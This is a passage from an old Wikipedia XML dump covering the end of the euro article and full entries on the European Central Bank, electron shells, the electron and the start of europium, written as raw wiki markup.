There is speculation that the strength of the euro relative to the dollar might encourage the use of the euro as an alternative [[reserve currency]]; [[Saddam Hussein]]'s [[Iraq]] switched its currency reserves from dollars to euros in 2000. Moves by central banks with major reserve currency holdings such as those of [[India]] or [[China]] to switch some of their reserves from dollars to euros, or even of [[OPEC]] countries to switch the currency they trade in from dollars to euros, will further reinforce the dollar's decline. In 2004, the [[Bank for International Settlements]] reported the proportion of bank deposits held in euros rising to 20%, from 12% in 2001, and it is continuously rising. The falling dollar also raises returns for US investors from investing in foreign stocks, encouraging a switch which further depresses the dollar. 

The rise in the euro should dampen eurozone exports, but there is little sign of this happening yet. The main reason is that the currencies of Euroland's major world-wide customers are also seeing their currencies rise relative to the dollar.  As the current account deficits continue to rise and the US plans no austerity measures to curb foreign imports and increase exports, the situation may cause the US dollar to lose its position as a hegemonic currency replaced by either the euro or the euro and a basket of currencies.

==Name and linguistic issues==

{{main|Linguistic issues concerning the euro}}

Several [[linguistic]] issues have arisen in relation to the spelling of the words ''euro'' and ''cent'' in the many languages of the member states of the European Union, as well as in relation to [[grammar]] and the formation of [[plurals]]. Immutable word formations have been encouraged by the European Commission in usage with official EU [[legislation]] (originally in order to ensure uniform presentation on the banknotes), but the &quot;unofficial&quot; practice concerning the mutability (or not) of the words differs between the member states and their languages. The subject has led to much debate and controversy.  &lt;!-- advice to editors: this paragraph is intended to be just a summary.  If you wish to add material, please consider using the &quot;Linguistic issues&quot; article to do so.  --&gt;

==See also==

===Euro related===

*[[Currencies related to the euro]]
*[[Economic and Monetary Union of the European Union]] (EMU)
*[[European Exchange Rate Mechanism]]
*[[Eurozone]]
*[[Euro coins]], [[€2 commemorative coins]] and [[Euro banknotes]].
*[[European System of Central Banks]]
*[[Economy of the European Union]] and [[Economy of Europe]].
*[[Euribor]], a benchmark for money market in the eurozone.
*[[Eonia]], an effective overnight reference rate for the euro.
*[[Linguistic issues concerning the euro]]
*[[Optimal Currency Area - Eurozone]] 
*[[Stability and Growth Pact]] is an agreement by [[European Union]] member states related to their conduct of [[fiscal policy]], to facilitate and maintain [[Economic and Monetary Union of the European Union|Economic and Monetary Union]].

===Other===

*[[Latin Monetary Union]] '''(1865&amp;ndash;1927)'''
*[[Scandinavian Monetary Union]]
*[[American currency union|Amero]], a proposed [[North America|North American]] currency union.
*[[Bosnia and Herzegovina convertible mark]]

==References==

*Baldwin, Richard and Charles Wyplosz, ''The Economics of European Integration'', New York: McGraw Hill, 2004.
*European Commission, ''High Level Task Force on Skills and Mobility - Final Report'', [[14 december]] [[2001]].

==External links==

{{commons|euro}}
*[http://www.ecb.int/ European Central Bank]
*[http://www.fbe.be/ European Banking Federation]
*[http://europa.eu.int/euro/entry.html The Euro: Our Currency (Official EU Site)]
*[http://www.dollar-euro-chart.de Dollar/Euro-Chart]
*[http://news.bbc.co.uk/1/hi/world/europe/4408066.stm EU warning for Euro hopefuls]
*[http://www.eurobilltracker.com Page to track Euro bills]

===Articles===

*[http://www.findarticles.com/p/articles/mi_m2242/is_1638_281/ai_90469048 A critical view on &quot;The euro and Great Britain&quot;]
*[http://www.mises.org/fullarticle.asp?record=124&amp;month=4 A critical view on &quot;inflationary euro&quot;]
*[http://pages.stern.nyu.edu/~nroubini/Emu/Emu.htm European Monetary Union and the euro]
*[http://go.to/infoeuro EU and EMU information including coin and banknote images]
*[http://www.ex.ac.uk/~RDavies/arian/emu.html Britain and European Monetary Union]
*[http://www.evertype.com/standards/euro/index.html The euro and standardization] ([[Michael Everson]]; including &quot;The plural of euro is euros!&quot; as well as a discussion on what the words for &quot;euro&quot; and &quot;cent&quot; should be in [[Irish language|Irish]])
*[http://www.robertmundell.net/Menu/Main.asp?Type=5&amp;Cat=08&amp;ThemeName=Euro A brief commentary by one of the economists instrumental in creating the euro]
*[http://www.myeuro.info/en An experiment that tries to track the way of euro notes across Europe]
*[http://www.eurobilltracker.com Similar experiment: eurobilltracker]
*[http://www.eurotracer.net Eurotracer, another experiment that also studies the meaning of the serial numbers and the spreading of coins]
*[http://wiki.usenet.eu.org/FAQ_of_europa.union.euro Euro FAQ Wiki]
*[http://www.economist.com/research/articlesBySubject/display.cfm?id=348930 The Euro page from the Economist (many articles require a subscription)]

===Books===

*[http://college.hmco.com/cgi-bin/SaCGI.cgi/CatalogStub.class/com.hmco.college.catalog.CatalogController?cmd=Portal&amp;subcmd=display&amp;ProductID=3014 Jay H. Levin, A Guide to the Euro (Houghton Mifflin Company, 2002)]

{{PreEuroCurrencies}}
{{EuropeanCurrencies}}

[[Category:Currencies of Europe]]
[[Category:Economy of the European Union]]
[[Category:Monetary unions]]

&lt;!-- The below are interlanguage links. --&gt;

[[af:Euro]]
[[ar:يورو]]
[[an:Euro]]
[[ast:Euro]]
[[bg:Евро]]
[[zh-min-nan:Euro]]
[[bs:Euro]]
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[[fiu-vro:Õuro]]</text>
    </revision>
  </page>
  <page>
    <title>Extreme programming</title>
    <id>9473</id>
    <revision>
      <id>15907362</id>
      <timestamp>2002-03-02T12:05:23Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Extreme_Programming]]</text>
    </revision>
  </page>
  <page>
    <title>European Central Bank</title>
    <id>9474</id>
    <revision>
      <id>41958466</id>
      <timestamp>2006-03-02T21:59:34Z</timestamp>
      <contributor>
        <ip>82.234.114.160</ip>
      </contributor>
      <comment>/* Inflation targets */</comment>
      <text xml:space="preserve">[[Image:Eurotower in Frankfurt.jpg|thumb|right|215px|The ECB building in [[Frankfurt]]]]
{{Politics of the European Union}}

The '''European Central Bank (ECB)''' ([[French language|French]]: '''Banque Centrale Europeénne''', [[German language|German]]: '''Europäische Zentralbank''') 

The ECB is one of the world's largest [[central bank]]s, being in charge of [[fiscal policy|fiscal]] and [[monetary policy]] for the [[European Union]]'s offical currency, the [[euro]], which is - to date - used by over 300 million Europeans in 12 [[EU]] countries. 

The ECB was established on [[June 1]], [[1998]]. The headquarters are located in [[Frankfurt am Main]], [[Germany]]. 



==Structure &amp; Organisation==

The organisation of the ECB is modelled on that of the [[Germany|German]] [[Bundesbank]] and [[Landesbank]]en.

The ECB is governed by a board of directors, headed by a President, and a board of governors, consisting of the members of the board of directors and representatives of the local central banks within the ESCB.

=== Tasks ===

=== European System of Central Banks ===
The [[European System of Central Banks]] (ESCB) is comprised of the European Central Bank (ECB), and the local [[central bank]]s of the 25 member-states of the [[European Union]]. Only governors from national banks inside the eurozone take part and are responsible for the decision process.

===Executive Board of Directors ===

The Executive Board consists of six members which are elaborating the strategies for the bank's policy. Four of these six seats are reserved for the Eurozone's four big central banks of France, Germany, Italy and Spain.

=== President of the European Central Bank ===

''Main Article: [[List of Presidents of the European Central Bank]]''

In [[1999]] [[Wim Duisenberg]], the former president of [[De Nederlandsche Bank]], and former finance minister of the Netherlands became the first president of the ECB. 

In November [[2003]] [[Jean-Claude Trichet]] followed and is still president today.

==Goals and Instruments==

The ECB hold reserves of over € 4.0 billion of which just over 30% are gold reserves of the [[Bundesbank]] and ca 20% from the [[Banque de France]].

==Economic Culture==
[[Image:La2-euro.jpg|thumb|150px|left|Night view of the [[Euro]] sculpture.]]
There are two main lines of criticism within the ECB. 

===Independence===
Critics focus on the independence of the institution.  The ECB was established as a [[central bank]] designed to operate independently of political intervention.  Its objectives and powers were politically established, but the decisions as to how those powers should best be used to achieve the objectives was left in the hands of the ECB itself. 

However, as many national banks in the EU are outside the eurozone and independent (the [[Danmarks Nationalbank]] or the [[Bank of England]] for instance), this argument could also apply to them.

Some see this independence as undemocratic and therefore criticise the decision making process and objectives of the ECB, asserting that the economic goals of the ECB are ''hard-wired'' to be secretive and independent from most citizens of the European Union, and to be isolated from [[feedback]] mechanisms regarding the influence of the money economy on [[human rights violation]]s or the natural [[natural environment|environment]]. 

The ECB does not publish or invite comments on its proposed decisions.  After publication of its actions and decisions, ECB web pages do not solicit direct comments by citizens.  It is thought that details of internal meetings are not made public in order not to reveal internal splits in the board of governors.

European citizens may influence the policy decisions of the ECB very indirectly via the formal, national [[democracy|democratic]] electoral process. However, even if changes in economic assumptions are expressed via formal [[democracy|democratic]] means, elected politicians have very little power to transmit these changes to the ECB.

Still, the ECB is accountable to the [[European Parliament]] and the council of ministers. It appoints the ECB president and vice-president and other members of the ECB's executive board. The nominees must be approved by Parliament first, and then by the council of ministers before they can assume their roles in the institution. 

Also, it is required by law for the ECB president to present an annual report to the plenary sitting of Parliament. Furthermore, the ECB president and other members of the executive board are present in the Parliament's monetary affairs committee who meet regularly. These meetings take place four times a year, but can be more frequent if any side would want to.

It is important to add that it is generally accepted by economists that the independence of the Central Bank is the best way to avoid selfish manipulation of the macroecomy for political purposes.

===Inflation targets===
Some critics feel that the objectives given to the ECB are inappropriate. The ECB sets interest rates in order to control inflation, but does not take into account objectives such as employment and [[exchange rate]] stability. Some feel this as a too narrow set of objectives, leading to decisions on interest rate that are inappropriate given the wider needs of the economy. 

Many British economists have stated that the ECB should adopt a symmetrical target rate, much like the one that the [[Bank of England]] follows.

The unusually low interest rates set by the ECB have been criticized as being inappropriate for regions of Europe with property bubbles. These low interest rates are a factor of the [[Irish Property Bubble]]. Although it must be said that it has an economic reason, to avoid [[recession]] in many important countries of the eurozone ([[France]], [[Germany]] and [[Italy]] mainly) that would slow the growth of the rest of the European countries.

==Trivia==

The current ECB building in Downtown Frankfurt is only its temporary home. The ECB ran a large international architecture competition in [[1999]] for a new tower in Frankfurt, Eastend. At present the winning design scheme of Vienna based architects [[Coop Himmelbau]] is under construction. ([http://www.ecb.int/ecb/premises/html/image29.en.html/ Winning design by Coop Himmelb(l)au for the ECB's new headquarters in Frankfurt/Main])

On [[January 5]], [[2003]], a man stole a small [[Glider|motor glider]] and flew it over downtown Frankfurt, circling [[skyscraper]]s and threatening to crash into the ECB. He landed safely after about two hours and was arrested. The man, a 31-year-old mentally disturbed German student named [[Franz Strambach]], told a television station he wanted to call attention to [[Judith Resnik]], a U.S. [[astronaut]] killed in the [[1986]] [[Space Shuttle Challenger disaster|explosion]] of the [[space shuttle]] ''[[Space Shuttle Challenger|Challenger]]''.

==See also==
*[[Institutions of the European Union]]
*[[Euro]]
*[[Bank of England]]
*[[Bank of Japan]]
*[[Federal Reserve]]

==External links==

*[http://www.ecb.int/ Site of the ECB]
*[http://www.bis.org/ Bank for International Settlements BIS in Basel] 
*[http://tokyoahead.com/main/staticpages/index.php/chart2 Historical Currency Charts based on the data published daily by the ECB]

[[Category:Central banks]]
[[Category:banks of the European Union]]
[[Category:Currencies of the Eurozone]]
[[Category:European System of Central Banks]]

[[ca:Banc Central Europeu]]
[[cs:Evropská centrální banka]]
[[da:Den Europæiske Centralbank]]
[[de:Europäische Zentralbank]]
[[et:Euroopa Keskpank]]
[[es:Banco Central Europeo]]
[[fr:Banque centrale européenne]]
[[ko:유럽중앙은행]]
[[id:Bank Sentral Eropa]]
[[it:Banca Centrale Europea]]
[[lb:Europäesch Zentralbank]]
[[hu:Európai Központi Bank]]
[[nl:Europese Centrale Bank]]
[[ja:欧州中央銀行]]
[[no:Den europeiske sentralbanken]]
[[pl:Europejski Bank Centralny]]
[[pt:Banco Central Europeu]]
[[ro:Banca Centrală Europeană]]
[[sr:Европска централна банка]]
[[sv:Europeiska centralbanken]]
[[uk:Європейський центральний банк]]
[[zh:欧洲中央银行]]</text>
    </revision>
  </page>
  <page>
    <title>Electron shell</title>
    <id>9475</id>
    <revision>
      <id>37806856</id>
      <timestamp>2006-02-02T06:12:55Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ru</comment>
      <text xml:space="preserve">In [[atomic physics]], an '''electron shell''', also know as a '''main energy level''', is a group of [[atomic orbital]]s with the same value of the [[principal quantum number]] ''n''. Electron shells are made up of one or more '''electron subshells''', or '''sublevels''', which have two or more orbitals with the same angular momentum quantum number ''l''. Electron shells make up the [[electron configuration]] of an [[atom]]. It can be shown that the number of [[electron]]s that can reside in a shell is equal to &lt;math&gt;2n^2&lt;/math&gt;.

The existence of electron shells was first observed experimentally in [[Charles Barkla]]'s and [[Henry Moseley]]'s [[X-ray]] absorption studies. Barkla labelled them with the letters ''K'', ''L'', ''M'', etc. (The origin of this terminology was alphabetic. K and L were originally called B and A, but were later renamed to leave room for hypothetical spectral lines that were never discovered.) These letters were later found to correspond to the ''n''-values 1, 2, 3, etc. They are used in the spectroscopic [[Siegbahn notation]]. 

The name for electron shells originates from the [[Bohr model]], in which groups of electrons were believed to orbit the nucleus at certain distances, so that their orbits formed &quot;shells&quot;.

=== Subshells ===

'''Electron subshells''' are identified by the letters s, p, d, f, g, h, i, etc., corresponding to the [[azimuthal quantum number]]s (''l''-values) 0, 1, 2, 3, 4, 5, 6, etc. Each shell can hold up to 2, 6, 10, 14, 18, 22 and 26 electrons respectively. The notation 's', 'p', 'd', and 'f' originate from a now-discredited system of categorizing [[spectral line]]s as &quot;sharp&quot;, &quot;principal&quot;, &quot;diffuse&quot;, or &quot;fundamental&quot;, based on their observed [[fine structure]].  When the first four types of orbitals were described, they were associated with these spectral line types, but there were no other names.  The designations 'g', 'h', and so on, were derived by following alphabetical order.

==See also==
*[[Atomic orbital]]
*[[Electron configuration]]
*[[Molecular orbital]]

== References ==
* Tipler, Paul &amp; Ralph Llewellyn (2003).  ''Modern Physics'' (4th ed.).  New York: W. H. Freeman and Company.  ISBN 0-7167-4345-0

[[Category:Atomic physics]]
[[Category:Quantum chemistry]]

[[ar:غلاف إلكتروني]]
[[de:Elektronenhülle]]
[[fr:Couche électronique]]
[[pt:Camada eletrônica]]
[[ru:Электронная оболочка]]
[[zh:電子層]]</text>
    </revision>
  </page>
  <page>
    <title>Electron</title>
    <id>9476</id>
    <revision>
      <id>41280000</id>
      <timestamp>2006-02-26T06:34:52Z</timestamp>
      <contributor>
        <ip>68.183.61.220</ip>
      </contributor>
      <text xml:space="preserve">{{alternateuses}}
{| border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; cellpadding=&quot;2&quot; style=&quot;margin-left:1em&quot;
|-
!align=&quot;center&quot; bgcolor=gray|Electron
|-
|align=&quot;center&quot;|[[Image:HAtomOrbitals.png|center|thumb|280px|&lt;small&gt;The first few [[hydrogen atom]] electron orbitals shown as cross-sections with color-coded probability density&lt;/small&gt;]]
|-
!align=&quot;center&quot; bgcolor=gray|Classification
|-
|
{| align=&quot;center&quot; border=&quot;0&quot;
|-
|[[Elementary particle]]
|-
|[[Fermion]]
|-
|[[Lepton]]
|-
|First Generation
|-
|''Electron''
|}
|-
|
|-
!align=&quot;center&quot; bgcolor=gray|Properties
|-
|
|-
|
{| border=&quot;0&quot;
|-
|Mass: 
| 9.109 3826(16)&amp;nbsp;×&amp;nbsp;10&lt;sup&gt;&amp;minus;31&lt;/sup&gt;&amp;nbsp;[[Kilogram|kg]]
|-
|
| &lt;sup&gt;1&lt;/sup&gt;&amp;#8260;&lt;sub&gt;1836.152 672 61(85)&lt;/sub&gt;&amp;nbsp;[[Atomic mass unit|amu]]
| &lt;br&gt;
|-
|
| 0.510 998 918(44)&amp;nbsp;[[MeV]]/[[speed of light|c]]&lt;sup&gt;2&lt;/sup&gt;{{inote|http://scienceworld.wolfram.com/physics/ElectronMass.html}}
|-
|[[Elementary charge|Electric Charge]]: 
| &amp;minus;1.602 176 53(14)&amp;nbsp;×&amp;nbsp;10&lt;sup&gt;&amp;minus;19&lt;/sup&gt;&amp;nbsp;[[Coulomb|C]]
|-
|Spin:
|½
|-
|Color Charge: 
| none
|-
|Interaction: 
| [[Gravity]], [[Electromagnetic interaction|Electromagnetic]], &lt;br&gt;[[Weak interaction|Weak]]
|}
|}
The '''electron''' is a fundamental [[subatomic particle]] that carries a negative [[electric charge]]. 

==Overview==
Within an [[atom]], the electrons surround the [[atomic nucleus|nucleus]] of [[proton]]s and [[neutron]]s in an [[electron configuration]]. The word ''electron'' was coined in [[1894]] and is derived from the term ''electric force'' introduced by [[William Gilbert]]. Its origin is the [[Greek language|Greek]] word '&amp;eta;&amp;lambda;&amp;epsilon;&amp;kappa;&amp;tau;&amp;rho;&amp;omicron;&amp;nu;, meaning ''[[amber]]''.  

Electrons in motion constitute [[electric current]], which may be used by scientists and engineers to measure many physical properties.  Electric current existing for a finite time gives rise to a movement of charge ([[electricity]]) that may be harnessed as a practical means to perform work.

The understanding of electrons has changed dramatically over the centuries, the most significant perhaps being the development of [[quantum mechanics]] in the 20th century and the idea of particle wave duality, that is, electrons can exhibit wave-like and particle like properties. Equally as important, [[particle physics]] has also furthered understanding of the electron immeasureably.

The variations in [[electric field]] generated by differing numbers of electrons and their configurations in atoms determine the chemical properties of the [[chemical element|element]]s.  These fields play a fundamental role in [[chemical bond]]s and [[chemistry]].

==In practice ==
===Classification===
The electron is one of a class of subatomic particles called [[lepton]]s, which are believed to be [[fundamental particle]]s (that is, they cannot be broken down into smaller constituent parts). The word &quot;particle&quot; is somewhat misleading, however, because [[quantum mechanics]] shows that electrons also behave like a wave, e.g., in the [[double-slit experiment]]; this is called [[wave-particle duality]].

The antiparticle of an electron is the '''[[positron]]''', which has the same mass but positive rather than negative charge. The term '''negatron''' is sometimes used to refer to standard electrons so that the term ''electron'' may be used to describe both positrons and negatrons, as proposed by [[Carl David Anderson|Carl D. Anderson]]. Under ordinary circumstances, however, ''electron'' refers to the negatively charged particle alone.

===Properties and behavior===
Electrons have a negative [[electric charge]] of &amp;minus;1.6&amp;nbsp;×&amp;nbsp;10&lt;small&gt;&lt;sup&gt;&amp;minus;19&lt;/sup&gt;&lt;/small&gt;&amp;nbsp;[[coulomb]]s, and a mass of about [[1 E-31 kg|9.11&amp;nbsp;×&amp;nbsp;10&lt;small&gt;&lt;sup&gt;&amp;minus;31&lt;/sup&gt;&lt;/small&gt;&amp;nbsp;kg]] (0.51&amp;nbsp;MeV/c&lt;sup&gt;2&lt;/sup&gt;), which is approximately &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;1836&lt;/sub&gt; of the mass of the [[proton]]. These are commonly represented as '''e&lt;sup&gt;&amp;minus;&lt;/sup&gt;'''.

According to [[quantum mechanics]], electrons can be represented by [[wavefunction]]s, from which the [[electron density]] can be determined. Each electron has its own wavefunction, which is called an [[atomic orbital|orbital]]. The exact [[momentum]] and position of an electron cannot be simultaneously determined. This is a limitation described by the [[Heisenberg uncertainty principle]], which, in this instance, simply states that the more accurately we know a particle's position, the less accurately we can know its momentum, and vice versa. 

The electron has [[spin (physics)|spin]] ½ and is a [[fermion]] (it obeys [[Fermi-Dirac statistics]]). In addition to its intrinsic angular momentum, an electron has a [[magnetic moment]] along its spin axis.

While most electrons are found in atoms, others move independently in matter, or together as an [[electron beam]] in a [[vacuum]].  In some [[superconductor]]s, electrons move in [[Cooper pair]]s, in which their motion is coupled to nearby matter via lattice vibrations called [[phonon]]s. When electrons move, free of the nuclei of atoms, and there is a [[net flow]], this flow is called [[electricity]], or an [[electric current]]. 

A body has a static charge when the body has more or fewer electrons than are required to balance the positive charge of the nuclei. When there is an excess of electrons, the object is said to be negatively-charged. When there are fewer electrons than [[proton]]s, the object is said to be positively-charged. When the number of electrons and the number of protons are equal, their charges cancel each other and the object is said to be electrically neutral. A [[macroscopic]] body can acquire charge through rubbing, i.e., the [[phenomena]] of [[triboelectricity]]. Electrons and [[positron]]s can [[electron-positron annihilation|annihilate]] each other and produce a pair of [[photon]]s. However, high-energy photons may transform into an electron and a positron by a process called [[pair production]].

The electron is an [[elementary particle]] &amp;mdash; it has no [[substructure]] (at least, experiments have not found any so far, and there is good reason to believe that there is not any). Hence, it is usually described as [[point]]-like, i.e., with no [[spatial]] extension. However, if one gets very near an electron, one notices that its properties ([[charge]] and [[mass]]) seem to change. This is an effect common to all elementary particles: The particle  influences the [[vacuum fluctuation]]s in its vicinity, so that the properties one observes from far away are the sum of the bare properties and the vacuum effects (see [[renormalization]]).

There is a physical constant called the [[classical electron radius]], with a value of 2.8179&amp;nbsp;×&amp;nbsp;10&lt;sup&gt;&amp;minus;15&lt;/sup&gt; [[Metre|m]]. Note that this is the radius that one could infer from its charge if the physics were only described by the [[classical electromagnetism|classical]] theory of [[electrodynamics]] and there were no [[quantum mechanics]] (hence, it is an outdated concept that nevertheless sometimes still proves useful in calculations). 

The speed of an electron in a [[vacuum]] can approach, but never reach c, the [[speed of light]] in a [[vacuum]]. This is due to an effect of [[special relativity]].  The effects of [[special relativity]] are based on a quantity known as [[gamma]] or the [[Lorentz factor]]. Gamma is a function of v, the velocity of the particle, and c. The following is the formula for gamma:

:&lt;math&gt;\gamma = 1 / \sqrt{1 - (v^2/c^2)}&lt;/math&gt;

The energy necessary to accelerate a particle is [[gamma]] minus one times the rest mass. For example, the [[linear accelerator]] at [[Stanford]] can [http://www2.slac.stanford.edu/vvc/theory/relativity.html accelerate] an electron to roughly 51&amp;nbsp;GeV. This gives you a gamma of 100,000 given that the rest mass of an electron is 0.51&amp;nbsp;MeV/c² (the [[relativistic mass]] of this fast electron is 100 000 times its rest mass). Solving the equation above for the speed of the electron gives a speed of: 

:&lt;math&gt;\left(1-\frac {1} {2} \gamma ^{-2}\right)c&lt;/math&gt; = 0.999&amp;nbsp;999&amp;nbsp;999&amp;nbsp;95&amp;nbsp;c. 

(The formula applies for large &amp;gamma;.)

===In the universe===
It is believed that the number of electrons existing in the known [[universe]] is at least 10&lt;sup&gt;79&lt;/sup&gt;. This number amounts to a density of about one electron per [[cubic metre]] of space.

Based on the [[classical electron radius]] and assuming a dense [[sphere packing]], it can be calculated that the number of electrons that would fit in the [[observable universe]] is on the order of 10&lt;sup&gt;130&lt;/sup&gt;. Of course, this number is even less  meaningful than the classical electron radius itself.

===In industry===
[[Electron beam]]s are used in [[electron beam welding|welding]] as well as [[electron beam lithography|lithography]].

==In the laboratory==
===Early experiments===
The quantum or discrete nature of electron's charge was observed by [[Robert Millikan]] in the [[Oil-drop experiment]] of [[1909]].

===Usage===
[[Electron microscope]]s are used to magnify details up to 500,000 times.  Quantum effects of electrons are used in [[Scanning tunneling microscope]] to study features at the atomic scale.

==In theory==
In relativistic [[quantum mechanics]], the electron is described by the [[Dirac Equation]]. [[Quantum electrodynamics]] (QED) models an electron as a charged particle surrounded by a sea of interacting [[virtual particles]], modifying the sea of [[virtual particles]] which makes up a vacuum. Although this theory involves difficult theoretical problems where calculations produce infinite terms, a practical (although mathematically dubious) method called [[renormalization]] was discovered whereby infinite terms can be cancelled to produce finite predictions about the electron. The correction of just over 0.1% to the predicted value of the electron's [[gyromagnetic ratio]] from exactly 2 (as predicted by Dirac's single particle model), and its extraordinarily precise agreement with the experimentally determined value, is viewed as one of the pinnacles of modern physics. There are now indications that [[string theory]] and its descendants may provide a model of the electron and other fundamental particles where the infinities in calculations do not appear, because the electron is no longer seen as a dimensionless point. At present, string theory is very much a 'work in progress' and lacks predictions analogous to those made by QED that can be experimentally verified.

In the [[Standard Model]] of [[particle physics]], it forms a doublet in SU(2) with the [[electron neutrino]], as they interact through the [[weak interaction]]. The electron has two more massive partners, with the same charge but different masses: the [[muon]] and the [[tau lepton]].

The [[antimatter]] counterpart of the electron is its antiparticle, the [[positron]]. The positron has the same amount of electrical charge as the electron, except that the charge is positive. It has the same mass and spin as the electron. When an electron and a positron meet, they may [[Annihilation|annihilate]] each other, giving rise to two [[Gamma ray|gamma-ray]] photons, each having an energy of 0.511 [[MeV]] (511 [[keV]]). See also [[Electron-positron annihilation]]. 

Electrons are also a key element in [[electromagnetism]], an approximate theory that is adequate for macroscopic systems, and for classical modelling of microscopic systems.

==History==
The electron as a unit of charge in electrochemistry was posited by [[G. Johnstone Stoney]] in [[1874]], who also coined usage of &quot;electron&quot; in [[1894]].

The discovery that the electron was a [[subatomic particle]] was made in [[1897]] by [[J.J. Thomson]] at the [[Cavendish Laboratory]] at [[University of Cambridge|Cambridge University]], while he was studying &quot;[[cathode rays]]&quot;. Influenced by the work of [[James Clerk Maxwell]], and the discovery of the [[X-ray]], he deduced that [[cathode ray tube|cathode ray]]s existed and were negatively charged &quot;''particles''&quot;, which he called &quot;''corpuscles''.&quot; He published his discovery in [[1897]].

The [[periodic law]] states that the chemical properties of elements largely repeat themselves periodically and is the foundation of the [[periodic table]] of elements. The law itself was initially explained by the [[atomic mass]] of the elements. However, as there were anomalies in the periodic table, efforts were made to find a better explanation for it. In [[1913]], [[Henry Moseley]] introduced the concept of the [[atomic number]] and explained the [[periodic law]] with the number of protons each element has. In the same year, [[Niels Bohr]] showed that electrons are the actual foundation of the table. In [[1916]], [[Gilbert Newton Lewis]] explained the chemical bonding of elements by electronic interactions.

==See also==
* [[Standard model]]
* [[Subatomic particle]]
* [[Proton]]
* [[Positron]]
* [[Neutron]]
* [[Photoelectric Effect]]
* [[Lightning]]
* [[List of particles]]
* [[Cathode rays]]
* [[Electricity]]
* [[Fermion field]]

==External links==
* [http://www.aip.org/history/electron/ The Discovery of the Electron] from the American Institute of Physics History Center
* [http://pdg.lbl.gov/ Particle Data Group]
* Stoney, G. Johnstone, &quot;''[http://dbhs.wvusd.k12.ca.us/webdocs/Chem-History/Stoney-1894.html Of the 'Electron,' or Atom of Electricity]''&quot;. Philosophical Magazine. Series 5, Volume 38, p. 418-420 October 1894.
* Eric Weisstein's World of Physics: [http://scienceworld.wolfram.com/physics/Electron.html Electron]

==References ==
*{{cite book | author=Griffiths, David J.|title=Introduction to Quantum Mechanics (2nd ed.) | publisher=Prentice Hall |year=2004 |id=ISBN 013805326X}}
*{{cite book | author=Tipler, Paul; Llewellyn, Ralph | title=Modern Physics (4th ed.) | publisher=W. H. Freeman | year=2002 | id=ISBN 0716743450}}
* Brumfiel, G. ([[6 January]] [[2005]]). Can electrons do the splits? In ''Nature, 433'', 11.

{{Elementary}}

[[Category:Electron| ]]

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    </revision>
  </page>
  <page>
    <title>Europium</title>
    <id>9477</id>
    <revision>
      <id>40990184</id>
      <timestamp>2006-02-24T09:03:10Z</timestamp>
      <contributor>
        <username>Stone</username>
        <id>13976</id>
      </contributor>
      <minor />
      <comment>/* Applications */ link</comment>
      <text xml:space="preserve">{{Elementbox_header | number=63 | symbol=Eu | name=europium | left=[[samarium]] | right=[[gadolinium]] | above=- | below=[[americium|Am]] | color1=#ffbfff | color2=black }}
{{Elementbox_series | [[lanthanide]]s }}
{{Elementbox_periodblock | period=6 | block=f }}
{{Elementbox_appearance_img | Eu,63| silvery white }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|151.964]][[List of elements by atomic mass|(1)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 4f&lt;sup&gt;7&lt;/sup&gt; 6s&lt;sup&gt;2&lt;/sup&gt; }}
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{{Elementbox_density_gpcm3nrt | 5.244 }}
{{Elementbox_densityliq_gpcm3mp | 5.13 }}
{{Elementbox_meltingpoint | k=1099 | c=826 | f=1519 }}
{{Elementbox_boilingpoint | k=1802 | c=1529 | f=2784 }}
{{Elementbox_heatfusion_kjpmol | 9.21 }}
{{Elementbox_heatvaporiz_kjpmol | 176 }}
{{Elementbox_heatcapacity_jpmolkat25 | 27.66 }}
{{Elementbox_vaporpressure_katpa | 863 | 957 | 1072 | 1234 | 1452 | 1796 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffbfff | color2=black }}
{{Elementbox_crystalstruct | cubic body centered }}
{{Elementbox_oxistates | 3&lt;br /&gt;(mildly [[base (chemistry)|basic]] oxide) }}
{{Elementbox_electroneg_pauling | ? 1.2 }}
{{Elementbox_ionizationenergies4 | 547.1 | 1085 | 2404 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|185]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|231]] }}
{{Elementbox_section_miscellaneous | color1=#ffbfff | color2=black }}
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{{Elementbox_eresist_ohmm | ([[room temperature|r.t.]]) (poly) 0.900 µ}}
{{Elementbox_thermalcond_wpmkat300k | est. 13.9 }}
{{Elementbox_thermalexpansion_umpmk | ([[room temperature|r.t.]]) (poly)&lt;br /&gt;35.0 }}
{{Elementbox_youngsmodulus_gpa | 18.2 }}
{{Elementbox_shearmodulus_gpa | 7.9 }}
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{{Elementbox_poissonratio | 0.152 }}
{{Elementbox_vickershardness_mpa | 167 }}
{{Elementbox_cas_number | 7440-53-1 }}
{{Elementbox_isotopes_begin | isotopesof=europium | color1=#ffbfff | color2=black }}
{{Elementbox_isotopes_decay | mn=150 | sym=Eu
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E s|36.9 y]]
 | dm=[[electron capture|&amp;epsilon;]] | de=2.261 | pn=150 | ps=[[samarium|Sm]] }}
{{Elementbox_isotopes_stable | mn=151 | sym=Eu | na=47.8% | n=88 }}
{{Elementbox_isotopes_decay2 | mn=152 | sym=Eu
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E s|13.516 y]]
 | dm1=&amp;epsilon; | de1=1.874 | pn1=152 | ps1=[[samarium|Sm]]
 | dm2=[[Beta minus decay|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de2=1.819 | pn2=152 | ps2=[[gadolinium|Gd]] }}
{{Elementbox_isotopes_stable | mn=153 | sym=Eu | na=52.2% | n=90 }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffbfff | color2=black }}

'''Europium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Eu''' and [[atomic number]] 63.  It was named after the continent [[Europe]].

== Notable characteristics ==
Europium is the most reactive of the [[rare earth element]]s; it quickly oxidizes in air, and resembles [[calcium]] in its reaction with water. Like other rare earths (with the exception of [[lanthanum]]), europium ignites in air at about 150 °C to 180 °C. It is about as hard as lead and quite ductile.

== Applications ==
